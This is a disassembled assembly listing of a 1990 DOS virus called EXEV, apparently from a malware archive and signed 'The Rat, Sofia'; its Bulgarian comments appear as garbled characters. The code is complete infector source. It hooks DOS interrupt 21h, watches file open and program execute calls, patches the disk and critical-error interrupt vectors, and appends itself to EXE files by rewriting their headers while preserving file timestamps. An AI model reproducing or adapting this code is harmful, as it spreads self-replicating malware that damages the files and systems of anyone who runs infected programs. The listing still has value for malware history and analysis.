home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ EXEV ██
- ;██ ██
- ;██ Created: 2-Jun-90 ██
- ;██ Version: ██
- ;██ Passes: 9 Analysis Options on: ABCDEFPX ██
- ;██ ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- data_13e equ 1000h ; (6B7E:1000=0)
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- exev proc far
-
- start:
- mov dx,offset data_1 ; (6B7E:010A=0Ah)
- mov ah,9
- int 21h ; DOS Services ah=function 09h
- ; display char string at ds:dx
- jmp loc_2 ; (0A10)
- data_1 db 0Ah, 0Dh, 'éá╕¿┐▓ ┐º«ó¿░ Ñ ºá░¿íÑ¡. '
- db 'îáá⌐ ▒¼Ñ½« ! ..', 0Ah, 0Dh, '$'
- db 0
- db 1928 dup (0)
- data_3 dw 0
- db 0, 0, 0, 0
- data_4 dw 0
- data_5 dw 0
- data_6 dw 0
- db 0, 0, 0, 0
- data_7 dw 0
- db 0, 0, 0, 0
- data_8 dw 0
- data_9 dw 0
- db 310 dup (0)
- loc_2:
- cld ; Clear direction
- mov ax,352Bh
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov bp,ds
- push cs
- pop ds
- add word ptr jmp_far+3,bp ; Å░¿íáó┐ ¬║¼ JMP FAR ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
- mov si,0A10h ; Å░ѼÑ▒▓óá ú« ó ▒Ñú¼Ñ¡▓á ¬«⌐▓« ▒«╖¿
- mov di,si ; ES ▓«óá Ñ ▒Ñú¼Ñ¡▓á ¡á INT 21H
- mov cx,180h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- push es ; æ½Ññ ¬á▓« ú« »░ѼÑ▒▓¿ ▒Ñ «í░║╣á ¬║¼
- mov ax,offset prehod ; ¡Ñú«,¡« ¡á ¡«ó¿┐ áñ░Ñ▒
- push ax
- retf ; Return far
- prehod label word
- lea di,[bx+1Bh] ; çá░Ѫñá ▒Ñú¼Ñ¡▓á ¡á ó░║╣á¡Ñ ó JMP FAR
- mov al,0E9h ; çỿ▒óá ¬«ñá ¡á JMP
- stosb ; Store al to es:[di]
- mov ax,offset jmp_far+3 ; Æ«óá Ñ áñ░Ñ▒á ¡á ¬«⌐▓« ▓░┐íóá ñá ▒Ñ
- sub ax,di ; «í░║╣á,¿ºóáªñá ú« «▓ «▓¼Ñ▒▓óá¡Ñ▓« ¡á
- stosw ; INT 21H ¿ ú« ºá»¿▒óá
- stosw ; Æ«óá ºá»¿▒óá ó «▒▓á¡á½¿▓Ñ íá⌐▓«óÑ
- stosw ; »░ạ¿ ¿¡▒▓░│¬╢¿¿
- mov cs:data_3,di ; Æ«óá Ñ áñ░Ñ▒á ¡á INT 21H
- mov ax,ss ; é║º▒▓á¡«ó┐óá SS
- sub ax,18h
- cli
- mov ss,ax
- lea ax,[bp+10h] ; éºÑ¼á áñ░Ñ▒á «▓ ¬«⌐▓« ▓░┐íóá
- mov bx,11h ; ñá ▒Ñ ºá░Ññ¿ »░«ú░á¼á▓á
- move label word
- loc_3:
- mov es,ax
- add ax,18h
- mov ds,ax
- xor si,si ; Å░ѼÑ▒▓óá í½«¬«óÑ »« 180h íá⌐▓á ºá
- xor di,di ; ñá ú¿ ó║░¡Ñ ¡á ¼┐▒▓«▓« ¿¼.Å░áó¿ ú«
- mov cx,0C0h ; 11h »║▓¿ ºá ñá ▒Ñ ¿º░áó¡¿
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- dec bx
- jns loc_3 ; Jump if not sign
- sti ; Enable interrupts
- mov ds,bp ; é║º▒▓á¡«ó┐óá DS ¿ ES
- push ds
- pop es
- jmp_far: db 0EAh,0,0,0,0 ; Æ«óá Ñ áñ░Ñ▒á ¡á ºá ó░║╣á¡Ñ ¿ JMP FAR
- int_21: cld ; ÄÆ Æôè çÇÅÄùéÇ ÄüÉÇüÄÆèÇÆÇ ìÇ INT 21H
- cmp ah,3Dh ; '='
- je loc_4 ; Jump if equal
- cmp ah,4Bh ; 'K'
- jne loc_5 ; Jump if not equal
- loc_4: ; xref 6B7E:0A70
- push es
- call sub_5 ; (0AAD)
- pop es
- loc_5: ; xref 6B7E:0A75
- jmp cs:data_3 ; JMP ¬║¼ INT 21h
-
- exev endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_1 proc near ; ùÑ▓Ñ/ºá»¿▒óá »░Ñ┤¿¬▒á ¡á ┤á⌐½á
- mov cx,20h ; Éẻ«½áúá ú« «▓ INT 21H_SEG:8C2
- mov dx,8C2h
- jmp short loc_6 ; (0A90) ; (0A90)
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_2:
- mov ax,4200h
- xor dx,dx ; Zero register
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_3:
- xor cx,cx
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_4: ; Äí░║╣á ▒Ñ ¬║¼ INT 21H
- loc_6: ; xref 6B7E:0A87
- pushf ; Push flags
- push cs
- call cs:data_3 ; (6B7E:08C0=0)
- retn
- sub_1 endp
-
- abort : mov al,3 ; é╡«ñ¡á ▓«╖¬á ¡á INT 24H
- iret ; Interrupt return
- _1 dw 17D0h
- dw 1509h
- dw 154Ch
- _2 dw 0F7Ah
- dw 15DCh ;Æ│¬ Ñ ¿ áñ░Ñ▒á ¡á INT 13H
- dw 161Fh
-
- _3 dw 0FC9h,15DCh,161Fh ;Æ«óá ▒á ñá¡¡¿▓Ñ ºá
- ;INT 25H,INT 26H,INT 27H
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_5 proc near
- push di ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
- push si
- push dx
- push cx
- push bx
- push ax
- push ds
- xor ax,ax ; Zero register
- mov ds,ax
- push cs
- pop es
- mov si,4Ch
- push si
- mov di,8E2h
- mov cx,28h ; çá»áºóá »░¬║▒óá¡¿┐▓á «▓ 13H ñ« 24H
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- pop di
- push ds
- pop es
- mov al,70h ; 'p'
- mov ds,ax
- mov al,ds:data_13e ;Å«▒▓áó┐ ó al ▒║ñ║░ªá¡¿Ñ▓« ¡á 70:1000
- mov si,offset _1
- cmp al,0
- je loc_7 ; Jump if equal
- mov si,offset _2
- cmp al,0Fh
- je loc_7 ; Jump if equal
- mov si,offset _3
- loc_7: ; xref 6B7E:0AD5, 0ADC
- push cs
- pop ds
- movsw
- mov al,70h ; æ¼Ñ¡┐ INT 13H
- stosw ; Store ax to es:[di]
- mov di,90h
- mov ax,offset abort ; æ¼Ñ¡┐ áñ░Ñ▒á ¡á INT 24H
- stosw ; Store ax to es:[di]
- mov ax,cs
- stosw
- movsw
- stosw ; é░║╣á «░¿ú¿¡á½¡¿▓Ñ ó╡«ñ¡¿
- movsw ; ▓«╖¬¿ ¡á INT 25H , INT 26H ,
- stosw ; INT 27H
- pop ds
- mov ax,3D02h ; Ä▓óá░┐ ┤á⌐½á ºá ╖Ñ▓Ñ¡Ñ/ºá»¿▒
- call sub_4 ; (0A90)
- push ds
- push cs
- pop ds
- mov bx,ax
- mov ax,5700h ; éºÑ¼á ñá▓á▓á ¿ ╖á▒á ¡á ┤á⌐½á
- jc loc_9 ; Jump if carry Set
- call sub_4 ; (0A90)
- push cx ; çá»áºóá ñá▓á▓á ¿ ╖á▒á ó ▒▓Ѭá
- push dx
- mov ah,3Fh ; ö│¡¬╢¿┐ ºá ╖Ñ▓Ñ¡Ñ ¡á »░Ñ┤¿¬▒á
- call sub_1 ; (0A81)
- cmp data_5,0 ; Å░«óÑ░┐óá ºá »░ѼÑ▒▓óáѼ¿ ▒¿¼ó«½¿
- jne loc_8 ; çá▓óá░┐ ¿ ¿º½¿ºá
- cmp data_6,ax ; Å░«óÑ░┐óá ░ẼÑ░á ¡á »░Ñ┤¿¬▒á 0 ?
- jne loc_8 ; Jump if not equal
- mov ax,data_4 ; Å«▒▓áó┐ ó AX ñ║½ª¿¡á▓á ¡á ┤á⌐½á
- shl ax,1 ; ô¼¡«ªáóá ┐ »« 2
- mov word ptr move-2,ax ; çỿ▒óá ¬«½¬« »║▓¿ ñá ▒Ñ »░ѼÑ▒▓¿
- sub data_6,18h ; ìá¼á½┐óá ñ║½ª¿¡á▓á ¡á »░Ñ┤¿¬▒á
- add data_7,18h ; ôóѽ¿╖áóá «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS ▒ 18h
- mov ax,0A10h
- xchg ax,data_8 ; IP ñá í║ñÑ ¡á «▓¼Ñ▒▓óá¡Ñ A10h
- mov word ptr jmp_far+1,ax ; çá»áºóá IP ó FAR JMP
- mov ax,0FF5Fh ; Å«▒▓áó┐ CS ▓á¬á,╖Ñ CS:IP ñá
- xchg ax,data_9 ; ▒«╖¿ ¡á╖Ὣ▓« ¡á ó¿░│▒á
- add ax,10h
- mov word ptr jmp_far+3,ax ; Å«▒▓áó┐ ó JMP FAR ▒Ñú¼Ñ¡▓á
- call sub_2 ; Å«▒▓áó┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
- mov ah,40h ; çỿ▒óá »░Ñ┤¿¬▒á
- call sub_1 ; (0A81)
- mov ax,4200h
- mov dx,80h ;Å░ѼÑ▒▓óá »«¬áºá½Ñ╢á ¡á 80h
- call sub_3 ; (0A8E)
- mov cx,180h
- mov dx,0A10h
- mov ah,40h ; çỿ▒óá ó¿░│▒á
- call sub_4 ; (0A90)
- loc_8: ; xref 6B7E:0B15, 0B1B
- pop dx
- pop cx
- mov ax,5701h ; çỿ▒óá ▒▓á░¿┐ ╖á▒ ¿ ñá▓á
- call sub_4 ; (0A90)
- mov ah,3Eh ; çá▓óá░┐ ┤á⌐½á
- call sub_4 ; (0A90)
- loc_9: ; xref 6B7E:0B04
- mov si,8E2h
- mov di,4Ch
- mov cx,28h ; é░║╣á »░Ѭ║▒óá¡¿┐▓á
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- pop ds
- pop ax ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
- pop bx
- pop cx
- pop dx
- pop si
- pop di
- retn
- sub_5 endp
-
- db 'The Rat, Sofia'
-
-
-
- seg_a ends
-
- end start